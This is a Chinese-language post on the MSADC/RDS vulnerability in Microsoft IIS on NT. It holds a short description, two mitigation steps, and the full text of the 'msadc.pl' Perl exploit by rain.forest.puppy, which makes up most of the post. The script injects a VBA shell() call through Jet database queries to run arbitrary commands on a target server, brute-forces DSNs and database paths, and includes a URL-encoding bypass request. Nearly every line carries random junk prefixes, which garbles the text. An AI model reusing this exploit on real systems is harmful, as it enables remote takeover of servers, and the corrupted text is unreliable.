IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
z6Fun |O%:P}6c 涉及程序：
O <bDU0s{M Microsoft NT server
z,M'Tr.1| n~9 i^ 描述：
nx D'r 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
tb: _,t&C7Yf;
详细：
M,ppCHy/$ 如果你没有时间读详细内容的话，就删除:
?C
FS} v c:\Program Files\Common Files\System\Msadc\msadcs.dll
l~ CZW*/ 有关的安全问题就没有了。
I>d I[U Wf_CR( 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
|}%(6< v?FhG
b~1 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Euq jxz 关于利用ODBC远程漏洞的描述，请参看:
#!wsD 7; 9N< *S'Z http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm zLo;.X[Y KxGKA 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
m\/>C |f\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp R9bhC9NP <r0.ppgY 这里不再论述。
TLXh E(o|o uSH> $;a 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
R&]c"cO L8 ^zKt{a /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
>pN;J)H 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
omNpE_ vuAQm}A4'g R i9Kr #将下面这段保存为txt文件，然后: "perl -x 文件名"
#aj|vox} ^}>zYt #!perl
q^)=F_QvG #
-*rHB&e # MSADC/RDS 'usage' (aka exploit) script
b{zAJ`|#[n #
? rky6 # by rain.forest.puppy
]J ja #
vU ?b"n # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
!T)T_P[ # beta test and find errors!
Ng?apaIi@~ u ,:CJ[3 use Socket; use Getopt::Std;
#,7eQa ica getopts("e:vd:h:XR", \%args);
2O$95 M q;CayN'I print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
'y'T'2N3 =U=e?AOG2 if (!defined $args{h} && !defined $args{R}) {
[0h* & print qq~
vYYS .ve Usage: msadc.pl -h <host> { -d <delay> -X -v }
dK[* -h <host> = host you want to scan (ip or domain)
?s1u#'aO -d <seconds> = delay between calls, default 1 second
s*aH`M7^0
-X = dump Index Server path table, if available
+Gk!
t]dy -v = verbose
=X)Q7u".7 -e = external dictionary file for step 5
,Le&I 9*% A Z ]P+v Or a -R will resume a command session
- 08&&H pp*bqY ~; exit;}
aJEbAs} }Q47_]5 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
e$ThSh\+ ( if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
JZW gr&O< if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
(y-x01H if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
<WZ 1- $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
3Ne9% " if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
i7i|370 #;wkr)) if (!defined $args{R}){ $ret = &has_msadc;
w> Tyk#7lw die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
XRClBTKF c1pq]mz|z print "Please type the NT commandline you want to run (cmd /c assumed):\n"
4 * Bp . "cmd /c ";
}f<fg Y $in=<STDIN>; chomp $in;
[?Mc4uT{ $command="cmd /c " . $in ;
C/{nr-V3u 6 {b%Jfo if (defined $args{R}) {&load; exit;}
Wv6z%r< , k4z; print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
>2]Eaw&W &try_btcustmr;
* i=?0M4S I;` Ko _ i print "\nStep 2: Trying to make our own DSN...";
04I6 -}6 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
~AEqfIx*^& L4\SB O print "\nStep 3: Trying known DSNs...";
&&]"Y!r - &known_dsn;
=-OCM*5~S t} 5'(9 print "\nStep 4: Trying known .mdbs...";
"[%;B0J &known_mdb;
ZAI1p+ u5u0*c if (defined $args{e}){
B, QC -Tn print "\nStep 5: Trying dictionary of DSN names...";
A8_\2'b &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
dH
^b)G4 t qff84 print "Sorry Charley...maybe next time?\n";
kA7~Yu5| exit;
c%q}"Y0oh 2(+RIu0d ##############################################################################
m1^dT_7Z
&(5^v w<0 sub sendraw { # ripped and modded from whisker
5W?yj>JR sleep($delay); # it's a DoS on the server! At least on mine...
g28 S3 '2 my ($pstr)=@_;
g\
8#:@at socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
nU=f<] S = die("Socket problems\n");
"7To c4 if(connect(S,pack "SnA4x8",2,80,$target)){
^q4l4)8jX select(S); $|=1;
yRgDhA print $pstr; my @in=<S>;
b5iIV1g select(STDOUT); close(S);
hN>('S-cq return @in;
JxX
jDYrU } else { die("Can't connect...\n"); }}
0C7thl{Dms ;']vY ##############################################################################
.f io<m qi n4ds;N3Hd sub make_header { # make the HTTP request
X";QA": my $msadc=<<EOT
^yn[QWFO POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
377j3dP User-Agent: ACTIVEDATA
\j,v/C@c- Host: $ip
0Zc*YdH Content-Length: $clen
adRNrt*! Connection: Keep-Alive
r6O7&Me< '<R B ADCClientVersion:01.06
V\iIvBpWg Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
,xAM[h & Y(#d8o}}# --!ADM!ROX!YOUR!WORLD!
]>VJ--fH Content-Type: application/x-varg
~|aeKtCs(. Content-Length: $reqlen
USnD7I/b "}]GQt< F EOT
EWu iaw. ; $msadc=~s/\n/\r\n/g;
_0DXQS\ return $msadc;}
beN>5coP%A "6`)vgI~ ##############################################################################
wu&|~@_s@ b6LC$"t0 sub make_req { # make the RDS request
E]HND.`*> my ($switch, $p1, $p2)=@_;
D+*uKldS; my $req=""; my $t1, $t2, $query, $dsn;
gTmUK{y' c~^]jqid] if ($switch==1){ # this is the btcustmr.mdb query
aIzp\$NWVK $query="Select * from Customers where City=" . make_shell();
[#STR=_f $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
zVc7q7E $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
\,@Yl.,+ V'HlAQr elsif ($switch==2){ # this is general make table query
5CH-:|(;= $query="create table AZZ (B int, C varchar(10))";
S`GXiwk $dsn="$p1";}
C$AIP\j-
) 3]:p!Y`$ elsif ($switch==3){ # this is general exploit table query
By51dk 7 $query="select * from AZZ where C=" . make_shell();
S5*~r@8h $dsn="$p1";}
* 0Wi^f H}jK3;8E elsif ($switch==4){ # attempt to hork file info from index server
1A`? y&
Ll $query="select path from scope()";
6g~o3 $dsn="Provider=MSIDXS;";}
i-i}`oN MrKU,- elsif ($switch==5){ # bad query
|mQtjo $query="select";
)"pxry4v7J $dsn="$p1";}
ery?G- c] g<XVI
$t1= make_unicode($query);
>'2w\Uk~: $t2= make_unicode($dsn);
Mu_mm/U_ $req = "\x02\x00\x03\x00";
N:PA/V^ z $req.= "\x08\x00" . pack ("S1", length($t1));
V:0uy> $req.= "\x00\x00" . $t1 ;
JEm?26n X $req.= "\x08\x00" . pack ("S1", length($t2));
wH(vX<W-E $req.= "\x00\x00" . $t2 ;
G+ $)W
u $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
zP{<0o return $req;}
NU)`js UuOLv; v ##############################################################################
6'No4[F
4n T
,O<LFv sub make_shell { # this makes the shell() statement
!F7EAQn{( return "'|shell(\"$command\")|'";}
9GtVI^] RV#uy] ##############################################################################
Zs3]|bUR @T,H.#bL sub make_unicode { # quick little function to convert to unicode
-NflaV~ my ($in)=@_; my $out;
>DL-Q\U for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
li 3PR$W V return $out;}
v'bd.eqw Sf4h!ly ##############################################################################
[A%e6 O=#/DM; sub rdo_success { # checks for RDO return success (this is kludge)
08K.\ 3 my (@in) = @_; my $base=content_start(@in);
3@Zz-~4Td if($in[$base]=~/multipart\/mixed/){
V '.eesN return 1 if( $in[$base+10]=~/^\x09\x00/ );}
?ck^? p7 return 0;}
1E AVMJ _#^A:a^e8 ##############################################################################
'QekQ]; FSYj p{z5 sub make_dsn { # this makes a DSN for us
@]ptY* my @drives=("c","d","e","f");
cO=UswIkwO print "\nMaking DSN: ";
= -Q foreach $drive (@drives) {
%)6 :eIS print "$drive: ";
v_@#hf3 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Y;> p)'z "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
g ]@R'2:1 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Cs 1%g $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Nz>E#.++ return 0 if $2 eq "404"; # not found/doesn't exist
a`@<Z sR if($2 eq "200") {
jB/q1vFO foreach $line (@results) {
vRb(e g return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
tN'- qdm } return 0;}
O%++0k; Pdo5 sve ##############################################################################
lc$@Jjg9 uZ2v;]\Y6 sub verify_exists {
s=y9!rr my ($page)=@_;
& h4Z|h[01 my @results=sendraw("GET $page HTTP/1.0\n\n");
l=-d K_ I? return $results[0];}
\")YKN=W wkZ2Y-#=' ##############################################################################
1z};"A WJF Ty+bD sub try_btcustmr {
qq9tBCk my @drives=("c","d","e","f");
RP@idz my @dirs=("winnt","winnt35","winnt351","win","windows");
t 1RwB 23 8#Z\ }gGz foreach $dir (@dirs) {
%dk$K!5D0 print "$dir -> "; # fun status so you can see progress
"za*$DU foreach $drive (@drives) {
k0 e|8g X print "$drive: "; # ditto
#Mem2cz $reqlen=length( make_req(1,$drive,$dir) ) - 28;
1: {O RX[; $reqlenlen=length( "$reqlen" );
[>Kx m $clen= 206 + $reqlenlen + $reqlen;
zk 'e 6 7dg
5HH my @results=sendraw(make_header() . make_req(1,$drive,$dir));
n xh/&% if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
G`9F.T_Z^) else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
IrwF
B seD+~Y\z ##############################################################################
.IAHy)li" LWb}) #E sub odbc_error {
IwgA A)H my (@in)=@_; my $base;
milK3+N my $base = content_start(@in);
|z7Crz if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
TaHi+ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,tR'0 &= $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7jg(j~tQ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@n;YF5 return $in[$base+4].$in[$base+5].$in[$base+6];}
1d@^,7MF- print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
J >|:T print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
f?<M3P $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
$ E~Lu$| CL}I:/zRB ##############################################################################
n$![b_)* f+*2K^B sub verbose {
O"-PN F,J my ($in)=@_;
_ 467~5JkU return if !$verbose;
e/ % ; print STDOUT "\n$in\n";}
1 yRd10 fi4/@tV?$L ##############################################################################
% /4_|@<' J%[N- sub save {
-qCJwz30 my ($p1, $p2, $p3, $p4)=@_;
}9Dv\"t5 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
B3+WOf5W print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
vLT12v:)` close OUT;}
fm:{&( zUgkY`]:BJ ##############################################################################
0?L$)T-B Xie dg y sub load {
w>q _8V_K my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]aW.b_7<9 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
[ MXXY @p=<IN>; close(IN);
w*ktx{ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
&fy8,} $target= inet_aton($ip) || die("inet_aton problems");
zt?w n* _ print "Resuming to $ip ...";
o-CJdOS $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
"N / K * if($p[1]==1) {
1H[;7@o$e $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
fu "z%h] $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
vAhO!5]>\ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Gc! {% x if (rdo_success(@results)){print "Success!\n";}
eD1MP<>h else { print "failed\n"; verbose(odbc_error(@results));}}
p|8Fl elsif ($p[1]==3){
rHdP 4: n if(run_query("$p[3]")){
7<Js' \Z print "Success!\n";} else { print "failed\n"; }}
|Gs-9+'y elsif ($p[1]==4){
2?nyPqT3AM if(run_query($drvst . "$p[3]")){
:@ 8.t,| print "Success!\n"; } else { print "failed\n"; }}
-Jrc'e4K exit;}
1:s~ ]F@
;Wh[q*A ##############################################################################
&+{xR79+& 0|Ft0y`+ sub create_table {
!9cP NIi my ($in)=@_;
9C~GL,uKs $reqlen=length( make_req(2,$in,"") ) - 28;
n * 0 F $reqlenlen=length( "$reqlen" );
:Du{8rV $clen= 206 + $reqlenlen + $reqlen;
u]-El}*[ my @results=sendraw(make_header() . make_req(2,$in,""));
K~%5iVO~\ return 1 if rdo_success(@results);
B;7s ]R my $temp= odbc_error(@results); verbose($temp);
I%| s return 1 if $temp=~/Table 'AZZ' already exists/;
KQZ RzX>0 return 0;}
K:50?r_-6 %t|2GIu ##############################################################################
#YVDO R{z 1;[
<||K sub known_dsn {
'0M0F'R # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
0H]9 $D my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
9 U1!"/F "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
g#3x) 97Z "banner", "banners", "ads", "ADCDemo", "ADCTest");
|wn LxI F7Yuk y foreach $dSn (@dsns) {
e/D\7Pf print ".";
, ZW. P` next if (!is_access("DSN=$dSn"));
a#Gq J?nY if(create_table("DSN=$dSn")){
(xJBN ?NRO print "$dSn successful\n";
"Ksd9,J\b if(run_query("DSN=$dSn")){
! m5\w> print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Cu<ojN- $ print "Something's borked. Use verbose next time\n";}}} print "\n";}
. z7f_KX^ pnb$lpxt ##############################################################################
/!8:/7r+W F qyJ*W\1 sub is_access {
by ee-BU my ($in)=@_;
F+-MafN7Y $reqlen=length( make_req(5,$in,"") ) - 28;
2p.+C35c=j $reqlenlen=length( "$reqlen" );
,qh $clen= 206 + $reqlenlen + $reqlen;
[~JN n my @results=sendraw(make_header() . make_req(5,$in,""));
}slEkpk? ] my $temp= odbc_error(@results);
'~ =xP verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ky"7 ^ return 0;}
m{Xf_rQ
w 5d;K.O ##############################################################################
4[j) $!l` o%Q'<0d sub run_query {
cwU6}*_zn my ($in)=@_;
p)] ^>-L $reqlen=length( make_req(3,$in,"") ) - 28;
[o 6<aE- $reqlenlen=length( "$reqlen" );
uV\#J{'* $clen= 206 + $reqlenlen + $reqlen;
&1n0(q B my @results=sendraw(make_header() . make_req(3,$in,""));
?Ir6*ZyY return 1 if rdo_success(@results);
\s rOU| my $temp= odbc_error(@results); verbose($temp);
$jL.TraV7 return 0;}
uty]-k !aoO,P#j ##############################################################################
wC@ U/? j+v)I= sub known_mdb {
X,Q(W0-6$u my @drives=("c","d","e","f","g");
%j`]x
-aOz my @dirs=("winnt","winnt35","winnt351","win","windows");
M/ \~ my $dir, $drive, $mdb;
BNLall my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
SK2pO ZN v3]M;Y\ # this is sparse, because I don't know of many
N#qoKY(# my @sysmdbs=( "\\catroot\\icatalog.mdb",
"lMWSCas "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
#jR?C9&!( "\\system32\\certmdb.mdb",
9$t@Gm n "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
\EqO;A%< ,peFNpi my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
0(.C f.B~ "\\cfusion\\cfapps\\forums\\forums_.mdb",
o f<OOh%3 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
v2SsfhT "\\cfusion\\cfapps\\security\\realm_.mdb",
S+ x [1#r "\\cfusion\\cfapps\\security\\data\\realm.mdb",
U_04QwhK7 "\\cfusion\\database\\cfexamples.mdb",
8 F 1ga15 "\\cfusion\\database\\cfsnippets.mdb",
!"">'}E 1 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
4^A'A.0 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
'/@VG_ 9L] "\\cfusion\\brighttiger\\database\\cleam.mdb",
|1$X`|S "\\cfusion\\database\\smpolicy.mdb",
B W1O1zIh\ "\\cfusion\\database\cypress.mdb",
v7RDoO]I "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
TR;- xst@ "\\website\\cgi-win\\dbsample.mdb",
<]J5AdJ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
[:Y^ 0[2 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
{rr\hl-$ ); #these are just
?/ g(Y foreach $drive (@drives) {
R2gax; foreach $dir (@dirs){
m{" zFD/ foreach $mdb (@sysmdbs) {
fe,CY5B{ print ".";
x6]?}Q>>D if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
!ym5' h print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
ng\S%nA&J if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
U$%w"k7^( print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
B.b)Y E ' } else { print "Something's borked. Use verbose next time\n"; }}}}}
3x$ #L!VuU x-EAu 3=V foreach $drive (@drives) {
xr -scdh2 foreach $mdb (@mdbs) {
"^7Uk# !
7 print ".";
*+ayC{! if(create_table($drv . $drive . $dir . $mdb)){
nfR5W~%*: print "\n" . $drive . $dir . $mdb . " successful\n";
P I?[ if(run_query($drv . $drive . $dir . $mdb)){
pgarGaeq print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
LPCl E5 } else { print "Something's borked. Use verbose next time\n"; }}}}
(' Pd
GV4V }
bEJZh%j! } s9J+m ##############################################################################
7eyh9E!_I NH!! .Z" sub hork_idx {
' L7.a' print "\nAttempting to dump Index Server tables...\n";
@A%`\Ea% print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
iWEYSi\)n $reqlen=length( make_req(4,"","") ) - 28;
UHwrssX&3 $reqlenlen=length( "$reqlen" );
SX.v5plhc $clen= 206 + $reqlenlen + $reqlen;
XPSWAp) my @results=sendraw2(make_header() . make_req(4,"",""));
G%{jU'2 if (rdo_success(@results)){
fzcT(y
my $max=@results; my $c; my %d;
Xb {y*', for($c=19; $c<$max; $c++){
2oRmro $results[$c]=~s/\x00//g;
o@-cT`HP $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
V" z0]DP5~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
W\.(~-(So $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
}#@LZ)]hK $d{"$1$2"}="";}
]cK@nq) foreach $c (keys %d){ print "$c\n"; }
4D5)<3N=d' } else {print "Index server doesn't seem to be installed.\n"; }}
Y-9F*8< [Pl$=[+ ##############################################################################
Yp$lc^)c> S45jY=)z sub dsn_dict {
]](hwj open(IN, "<$args{e}") || die("Can't open external dictionary\n");
]H*=Z:riu while(<IN>){
XooAL0w $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
z'o+3 zq^ next if (!is_access("DSN=$dSn"));
O@VmV >m if(create_table("DSN=$dSn")){
Ki2_Nh>tM print "$dSn successful\n";
j
yE+?4w; if(run_query("DSN=$dSn")){
]v@,>!Wn print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
CEiG jo^ print "Something's borked. Use verbose next time\n";}}}
f3O'lc 3 print "\n"; close(IN);}
}OZfsYPz}T #N:o)I ##############################################################################
0n%`Xb0q x
:s-\>RcA sub sendraw2 { # ripped and modded from whisker
3zkq'lZ sleep($delay); # it's a DoS on the server! At least on mine...
d4U_Wu& my ($pstr)=@_;
Tu"](|I> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
E6uI p^E die("Socket problems\n");
4 3YusUv if(connect(S,pack "SnA4x8",2,80,$target)){
V3S`8VI print "Connected. Getting data";
tBt\&{=|D open(OUT,">raw.out"); my @in;
Gvw el!6 select(S); $|=1; print $pstr;
H'0S;A+Y6 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
!nVuvsbv close(OUT); select(STDOUT); close(S); return @in;
-Cl0!}P4I } else { die("Can't connect...\n"); }}
!q?}[ E2 _[V
6s#Wk3 ##############################################################################
zcc]5 > qohUxtnTK> sub content_start { # this will take in the server headers
U3>G9g>^B my (@in)=@_; my $c;
>dO^pDSs for ($c=1;$c<500;$c++) {
Ag-*DH0 if($in[$c] =~/^\x0d\x0a/){
BQ(`MM@ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
(,k=mF else { return $c+1; }}}
?V+=uTCq return -1;} # it should never get here actually
UaB!,vs3st aO{k-44y ##############################################################################
'k hJZ: d+kIof, sub funky {
is,_r(S my (@in)=@_; my $error=odbc_error(@in);
vU _#(jZ if($error=~/ADO could not find the specified provider/){
b=sc2 )3? print "\nServer returned an ADO miscofiguration message\nAborting.\n";
$K hc?v exit;}
5u8 YHv if($error=~/A Handler is required/){
hhpH)Bi= print "\nServer has custom handler filters (they most likely are patched)\n";
eG<32$I exit;}
i4l?q#X if($error=~/specified Handler has denied Access/){
6w' ^,V print "\nServer has custom handler filters (they most likely are patched)\n";
D0~ mu{;c$ exit;}}
I 2b[ N9hBGa$ ##############################################################################
D n^RZLRhy DLVf7/=3~ sub has_msadc {
q~lmOT~E my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
giv cq'L my $base=content_start(@results);
3 ;&N3:,X return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
k&^f Iz return 0;}
crU XpD dS-l2 $n ########################
2Tp.S3 ~<aCn-h0 a`}HFHm\2, 解决方案：
F 2#^5s( 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
>R6Me *VR 2、移除web 目录: /msadc
